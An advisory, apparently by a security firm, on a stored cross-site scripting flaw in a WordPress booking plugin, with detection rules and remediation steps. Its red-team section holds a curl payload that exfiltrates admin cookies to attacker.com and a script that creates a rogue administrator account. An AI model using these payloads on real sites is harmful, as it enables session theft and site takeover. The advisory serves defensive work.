CVE-2024-5791

Executive Summary

CVE-2024-5791 is a critical Stored Cross-Site Scripting (XSS) vulnerability affecting the Online Booking & Scheduling Calendar for WordPress by vcita plugin, versions up to and including 4.4.2. This vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into the WordPress admin dashboard by exploiting missing authorization checks in the processAction function, combined with insufficient input sanitization and output escaping on the wp_id parameter. When a site administrator or any user with dashboard access views the affected page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or further compromise of the WordPress installation.

This vulnerability is particularly dangerous because it requires no authentication to trigger the injection, and the payload persists in the database, affecting all subsequent admin dashboard views. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of proof-of-concept code and the lack of a vendor patch make proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability resides in a third-party WordPress plugin distributed through the official WordPress plugin repository. The plugin is not managed via NPM, PyPI, Go, or Ruby, but its inclusion in a WordPress site introduces a supply chain risk. Site owners must verify the plugin’s integrity and consider removing it if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must visit dashboard)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The high score reflects the low barrier to exploitation (unauthenticated, network-based) and the potential for significant impact on the WordPress admin interface, despite the need for user interaction.

Deep Dive & Mechanics

The vulnerability resides in the processAction function of the vcita plugin. This function is intended to handle AJAX requests, but it lacks proper authorization checks (e.g., current_user_can() checks). The wp_id parameter is passed through without adequate sanitization and is later output in the WordPress admin dashboard without escaping.

Attack Flow:

1. An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=vcita_process_action&wp_id=<script>alert(1)</script>).
2. The plugin stores the malicious wp_id value in the WordPress database (likely in the wp_options table or a custom table).
3. When an administrator accesses any wp-admin dashboard page that renders this stored value, the injected script executes in the context of the admin’s browser.
4. The attacker can then perform actions such as creating new admin users, exfiltrating data, or installing malicious plugins.

The missing authorization check is the root cause: the processAction function does not verify that the request originates from an authenticated user, allowing unauthenticated injection. The lack of output escaping on the wp_id parameter when displayed in the dashboard completes the exploit chain.

Vulnerable vs. Patched Code

Vulnerable Code (v4.4.2 and earlier):

function processAction() {
    // Missing authorization check
    $wp_id = $_REQUEST['wp_id'];
    // No sanitization
    update_option('vcita_wp_id', $wp_id);
    // Later, in dashboard rendering:
    echo get_option('vcita_wp_id'); // No escaping
}

Patched Code (hypothetical fix):

function processAction() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $wp_id = sanitize_text_field($_REQUEST['wp_id']);
    update_option('vcita_wp_id', $wp_id);
    // In dashboard rendering:
    echo esc_html(get_option('vcita_wp_id'));
}

The patch adds a capability check (manage_options) to ensure only administrators can call the function, sanitizes the input with sanitize_text_field(), and escapes the output with esc_html().

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with vcita plugin v4.4.2 installed and activated.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/wp-admin/admin-ajax.php
2. Craft a payload to inject a persistent XSS:

   curl -X POST "http://target/wp-admin/admin-ajax.php" \
   -d "action=vcita_process_action&wp_id=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

3. Wait for an administrator to visit any wp-admin page.
4. The injected script executes, sending the admin’s session cookie to the attacker’s server.

Alternative Payload (Admin Creation):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/admin-ajax.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=wp_ajax_add_user&user_login=eviladmin&email=evil@example.com&pass1=EvilPass123&role=administrator');
</script>

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /wp-admin/admin-ajax.php with action=vcita_process_action from unauthenticated sources.
• Look for suspicious wp_id values containing <script>, onerror, or other HTML/JavaScript constructs.
• Use WAF rules to block requests with wp_id containing < or > characters.

Honeypot:

• Deploy a decoy WordPress instance with the vulnerable plugin and monitor for exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=vcita_process_action and wp_id containing script tags.
  • Outbound connections from the WordPress server to unknown IPs/domains (exfiltration).
• File IOCs:
  • Modified wp_options table entries where option_name is vcita_wp_id and option_value contains JavaScript.
• Log IOCs:
  • WordPress debug logs showing unexpected wp_id values.
  • Web server access logs with admin-ajax.php requests from IPs not associated with known admins.

Detection Engineering

YARA Rule

rule CVE_2024_5791_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in vcita plugin wp_id option"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5791"
    strings:
        $wp_id = /vcita_wp_id/
        $xss_payload = /<script[^>]*>/
    condition:
        $wp_id and $xss_payload
}

Sigma Rule

title: CVE-2024-5791 Stored XSS via vcita Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with vcita action and script payload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=vcita_process_action'
        cs-uri-query|contains: 'wp_id='
        cs-uri-query|re: 'wp_id=.*<script'
    condition: selection
falsepositives:
    - Legitimate admin actions (unlikely with script tags)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5791 vcita Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=vcita_process_action"; http_client_body; content:"wp_id="; http_client_body; pcre:"/wp_id=[^&]*<script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available. Navigate to Plugins > Installed Plugins and deactivate "Online Booking & Scheduling Calendar by vcita".
2. Remove stored payloads by running SQL:

   DELETE FROM wp_options WHERE option_name = 'vcita_wp_id';
   

3. Implement a Web Application Firewall (WAF) rule to block requests containing wp_id=<script or similar patterns.

Long-Term Fix:

• Monitor the vendor’s website for a patched version. If none is released within 30 days, consider replacing the plugin with an alternative (e.g., "Booking Calendar" or "Simply Schedule Appointments").
• Apply the principle of least privilege: ensure that only authenticated users with manage_options capability can trigger AJAX actions.

Workaround (Code-Level): If you cannot disable the plugin, add a custom filter to sanitize the wp_id option:

add_filter('option_vcita_wp_id', 'esc_html');

Valters IT
Securing WordPress Ecosystems | DevSecOps & Threat Intelligence